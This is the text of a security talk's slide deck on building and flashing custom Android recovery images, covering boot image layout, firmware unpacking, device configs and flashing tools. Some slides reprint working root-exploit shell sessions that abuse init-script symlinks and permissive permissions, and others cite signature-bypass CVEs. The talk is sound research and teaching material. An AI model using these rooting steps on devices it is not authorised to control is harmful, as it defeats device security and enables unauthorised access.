How To Make Android’s
Bootable Recovery
Work For You
Drew Suarez
android recovery
Nice to meet you, I’m Drew.
• Security Consultant for Matasano
• CyanogenMod Wiki Maintainer
• Ported recovery to dozens of devices
• “Cool guy” Internet handle: utkanos
android recovery
What’s this all about then?
• Why Do I Need This?
• Bootable Recovery
• Device Mapping
• Firmware Inspection
• Building Recovery
android recovery
What is Android recovery?
• Stock recovery mode:
minimal mode on Android devices that boots a
Linux environment with tools to install/recover/
repair Android
used primarily to install signed OTA updates and
reset userdata
ADB (Android Debug Bridge) access (sometimes)
very limited in scope/usefulness
android recovery
What is Android recovery?
• Custom recoveries:
provide root access / useful binaries
allow for easy backup of essential firmware
scriptable installation of custom Android firmware
android recovery
A Custom Recovery
android recovery
Why is this significant?
• Custom recoveries provide a means to
investigate, modify and test new firmware
• Full control over device in many cases
android recovery
Why do I need this?
• Penetration testing
• Forensics or data acquisition
• Bypassing security controls
• Useful for Android testing/development
android recovery
Got it… so how do I make one?
• Map the device topology out in full
• Get the kernel source (or prebuilt*)
• Build Android device configuration
android recovery
Bootable Recovery
android recovery
android recovery
A Unique Snowflake…
android recovery
Recovery: Parts and Structure
• Typical Android boot image
Android boot header
Kernel (compiled zImage)
Initial Ramdisk
• Initramfs style image
Kernel (contains initramfs ramdisk)
Recovery binary/tools compiled directly into kernel
android recovery
Recovery: Parts and Structure
• Combined boot/recovery image
Boot image and recovery image share a
ramdisk
Share one partition
android recovery
Recovery: Initrd Images
Boot Header:!
** +-----------------+ ! 1) Magic (8B)!
** | boot header | 1 page! 2) kernel size (4B)!
3) kernel addr (4B)!
** +-----------------+! 4) ramdisk size (4B)!
** | kernel | n pages ! 5) ramdisk addr (4B)!
6) 2ndary size (4B)!
** +-----------------+! 7) 2ndary addr (4B)!
8) tags addr (4B)!
** | ramdisk | m pages ! 9) page size (4B)!
** +-----------------+! 10) *!
11) *!
** | 2nd stage | o pages! 12) product name (16B)!
** +-----------------+ 13) kernel cmdline (512B)!
14) id (8B)!
* 10 and 11 of Boot Header used for DTB (device tree blob), unused otherwise
android recovery
Recovery: Parts and Structure
• Initial ramdisk/ramfs
Loads a temporary root filesystem into memory
Files needed specifically for recovery mode operation
init binary/scripts, binaries, images and firmware
Can be rebuilt or modified to include more tools and
features and extended functionality
android recovery
Recovery: Parts and Structure
• recovery.fstab (<=Android 4.2.2):
Maps block devices and their filesystems to mount points
Resides typically in etc/ or res/ in ramdisk
• fstab.(platform) (>=Android 4.3):
Ex: fstab.qcom, fstab.msm8974
Slighty different mapping order
android recovery
Device Mapping
android recovery
Device Mapping
• Stock firmware (boot or recovery)
variety of sites/places to source OEM firmware
to source
pull from a rooted device (via dd)
• Uses
troubleshooting / recon
device topology
android recovery
Device Mapping
• Kernel source
A must-have for initramfs style recoveries
Useful for making smaller kernels for
devices with limited recovery space
Can be modified for your specific needs
android recovery
Device Mapping
• /system/build.prop
Contains parameters used for setting
various different options in Android
We want the device specific board
codename information
• /proc/emmc or /proc/mtd, /proc/partitions
• /proc/config.gz and ikconfig
android recovery
Ok, where do I find all this stuff ?!
Lets take apart some firmware.
android recovery
Standard Android boot image
utkanos@leviathan /amnesiac/android/recovery/dlx $ od -c recovery.img |more
0000000 A N D R O I D ! 310 \t S \0 \0 200 ` 200
0000020 341 P ' \0 \0 200 240 201 \0 \0 \0 \0 \0 \0 P 201
0000040 \0 001 ` 200 \0 \b \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000060 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000100 c o n s o l e = t t y H S L 0 ,
0000120 1 1 5 2 0 0 , n 8 a n d r o i
0000140 d b o o t . h a r d w a r e = d
0000160 l x u s e r _ d e b u g = 3 1
0000200 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
android recovery
Firmware Exploration
• unpackbootimg/mkboot [1]
$> unpackbootimg -i firmware.img -o .
$> zcat ramdisk.gz | cpio -id
—-
$> mkboot firmware.img outdir
• unpack-initramfs.sh [2]
• binwalk
android recovery
mkboot
utkanos@leviathan ~/mkbootimg_tools $ ./mkboot /amnesiac/android/hlte/
recovery_hltetmo.img hltetmo_outdir
Unpack & decompress /amnesiac/android/hlte/recovery_hltetmo.img to hltetmo_outdir
kernel : zImage
ramdisk : ramdisk
page size : 2048
kernel size : 8281496
ramdisk size : 2987655
dtb size : 1316864
base : 0x00000000
kernel offset : 0x00008000
ramdisk offset : 0x02900000
second_offset : 0x00f00000
tags offset : 0x02700000
dtb img : dt.img
cmd line : console=null androidboot.hardware=qcom user_debug=31
msm_rtb.filter=0x3F
ramdisk is gzip format.
Unpack completed.
android recovery
Firmware Exploration
• Our goal is to get the ramdisk and a
working prebuilt kernel (zImage)
• The ramdisk contains init scripts, custom
scripts and binaries we want
• Crucial for finding ways into a device
android recovery
Why are init scripts so important?
• Great source for bugs
symlink attacks
overly permissive permissions
debug functionality
• Contain services and their parameters
helpful for making recovery run properly
android recovery
symlink/permissions tomfoolery
# DRMv1 rights storage
symlink /data/local /data/drm
mkdir /data/local/rights 0777 shell shell
chown shell shell /data/drm
write /data/drm/rights/mid.txt 0000000000000000
chmod 0777 /data/drm/rights/mid.txt
Reprinted with kind permission from jcase. [3]
android recovery
Retina:recovery jcase$ adb push root.sh /data/local/rights/
Retina:recovery jcase$ adb shell
$ cd /data/local/rights
$ ls -l
-rw-rw-rw- shell shell 153 2014-07-23 20:15 root.sh
-rwxrwxrwx root root 16 2014-07-23 20:13 mid.txt
$ chmod 755 root.sh
$ mv mid.txt mid.txt-backup
$ ln -s /sys/kernel/uevent_helper mid.txt
$ ls -l /sys/kernel/uevent_helper
-rw-r--r-- root root 4096 2014-07-23 20:14 uevent_helper
$ exit
Retina:recovery jcase$ adb reboot
Retina:recovery jcase$ adb shell
$ ls -l /sys/kernel/uevent_helper
-rwxrwxrwx root root 4096 2014-07-23 20:14 uevent_helper
$ echo "/data/local/rights/root.sh" > /sys/kernel/uevent_helper
$ cat /sys/kernel/uevent_helper
/data/local/rights/root.sh
$ su
#
Reprinted with kind permission from jcase. [3]
android recovery
symlink/permissions tomfoolery
# cd /data/data
# ls -l
... (snip) ...
drwxr-xr-x app_0 app_0 2014-07-27 12:14 com.htc
drwxrwxrwx root root 2014-07-27 12:13 recovery
# ls -l -a -R recovery
!
recovery:
-rw-rw-rw- root root 383 2014-07-27 12:13 log
Reprinted with kind permission from jcase. [3]
android recovery
Retina:recovery jcase$ adb shell
$ cd /data/data/recovery
$ ls -l
-rw-rw-rw- root root 383 2014-07-27 12:13 log
$ rm log
$ ln -s /data/local.prop log
$ exit
Retina:recovery jcase$ adb reboot recovery
Retina:recovery jcase$ adb shell
$ ls -l /data/local.prop
-rw-rw-rw- root root 3114 2014-07-27 17:11 local.prop
$ echo 'ro.kernel.qemu=1' > /data/local.prop
$ exit
Retina:recovery jcase$ adb reboot
Retina:recovery jcase$ adb shell
# id
uid=0(root) gid=0(root)
Reprinted with kind permission from jcase. [3]
android recovery
What else in the ramdisk is interesting?
• watchdog daemons
• necessary kernel objects
• stand alone binaries
• special commands
android recovery
What if I can't figure something out?
• If lacking firmware, attempt to look at the
device by hand using adb shell
• Use output of mount to identify key
partitions
• Look at sizes in /proc/partitions and make
educated guesses for firmware locations
android recovery
Building a Recovery
android recovery
Build a device config
• Android build system
Based on “meal ordering” concept
Each device is a unique “combo meal”
Combos can inherit from one another
We need to build a new combo!
android recovery
Build a device config
• CyanogenMod (or other) Android source [4]
• Linux or OSX
• All the info gathered earlier
android recovery
Build a device config
• Utilize the mkvendor.sh script in the CM
source
mkvendor takes 3 parameters and builds a
skeleton bare bones device config
ex: $> mkvendor.sh samsung hltetmo
recovery_hltetmo.img
android recovery
android recovery
Build a device config
• mkvendor output is almost always
incomplete/wrong, fix it!
BoardConfig.mk
recovery.fstab/fstab.platform
device_(codename).mk
android recovery
BoardConfig.mk
• Contains essential information about your
device’s board, CPU, various hardware and
device specific oddities
• Requires the most modification and is
continuously evolving the further in the
process you get
• For the scope of this talk, only the bare
necessities to build a recovery are covered
android recovery
BoardConfig.mk
• BOARD_FORCE_RAMDISK_ADDRESS
• BOARD_MKBOOT_ARGS
use these to force a ramdisk offset
especially important on large partitions
former deprecated after Android 4.1
android recovery
device_(codename).mk
• Contains instructions about what packages
to build and where to copy specific files or
properties during your build
• Use this file to insert necessary or additional
files into the ramdisk during compile time
• Essential for including OEM specific oddities,
specific binaries or scripts required for
recovery operation
android recovery
Build it!
• Use lunch to load in your new device combo
$> source build/envsetup.sh
$> lunch cm_hltetmo-eng
$> make recoveryimage
android recovery
Test it!
• Verify kernel/ramdisk addresses, dtb(if
applicable), and ramdisk contents
• Comparing to stock is helpful here
• Make sure it fits
android recovery
Flash it! (or boot)
• Once you’re ready to test the recovery, use
one of the following common methods
based on your specific use case
dd (requires root, see init portion of talk )
flash_image (mtd typically)
ODIN/Heimdall (Samsung)
fastboot (various OEMs)
android recovery
Download Mode (Samsung)
android recovery
Download Mode
• Download Mode is a Samsung specific boot
loader interface shipped on all of their
Android devices. It requires specific naming
on images you wish to flash!
• Internally, Samsung uses a tool called ODIN
to interact with the device and flash firmware
This is a Windows only, closed source
application :(
android recovery
ODIN
android recovery
Download Mode
• ODIN requires ustar formatted tar archives
containing the firmware desired. Here’s
how to make one:
$> tar -H ustar -c recovery.img > recovery.tar
$> md5sum -t recovery.tar >> recovery.tar
$> mv recovery.tar recovery.tar.md5
android recovery
Download Mode
• Heimdall is an open source, cross-platform
tool created from reversing ODIN
• Capable of writing raw images
• More flexible and useful than ODIN
android recovery
Download Mode
• Overly permissive! Most devices allow
direct write access aside from a handful of
US carrier protected models
• Newer protections exist but are
inconsistently applied
android recovery
fastboot mode
• Found on Nexus, HTC, Sony and many
other OEMs.
• Great for testing an image without having
to write it to local storage (fastboot boot)
• Unlocking the bootloader to use fastboot
most often erases userdata partition!
android recovery
unless…
• “Fastboot boot command bypasses
signature verification (CVE-2014-4325)” [5]
• “Incomplete signature parsing during boot
image authentication leads to signature
forgery (CVE-2014-0973)” [6]
• lk (Little Kernel) is used on many devices
android recovery
New Protections…
• init contexts
• Protections like Knox/Secure Boot on more
and more models
• SELinux turned up to ’11'
android recovery
Common issues
• Booted on first try? Nice. More realistically, it failed and here
are some reasons why:
ramdisk offset or kernel pagesize is wrong
init is misconfigured
you’re not emulating some weird OEM setting hack properly
dtb file is wrong or offset improperly
android recovery
Getting started
• Github is your friend!
• Many sites host stock firmware for Android
devices
samfirmware.com
xda-developers.com forums
rootzwiki
android recovery
Getting started
• Setting up your build environment:
CyanogenMod wiki has a step by step
walkthrough and additional resources for
development and hacking
• Review links in the references section
android recovery
References
[1] https://github.com/CyanogenMod/android_system_core/tree/cm-11.0/mkbootimg !
!
[2] https://github.com/xiaolu/mkbootimg_tools!
!
[3] From material Copyright 2014 Jon Sawyer - Applied Cybersecurity LLC used with kind permission!
!
[4] https://github.com/CyanogenMod/ , https://github.com/CyanogenMod/android_bootable_recovery ,
https://github.com/TeamWin/Team-Win-Recovery-Project!
!
[5] https://www.codeaurora.org/projects/security-advisories/fastboot-boot-command-bypasses-
signature-verification-cve-2014-4325!
!
[6] https://www.codeaurora.org/projects/security-advisories/incomplete-signature-parsing-during-boot-
image-authentication-leads-to-signature-forgery-cve-2014-0973!
!
!
android recovery
Thank you! Questions?
Drew Suarez // matasano security!
@utkan0s on twitter!
https://github.com/utkanos!
utkanos on freenode (#droidsec, #cyanogenmod)!
utkanos at gmail dot com
android recovery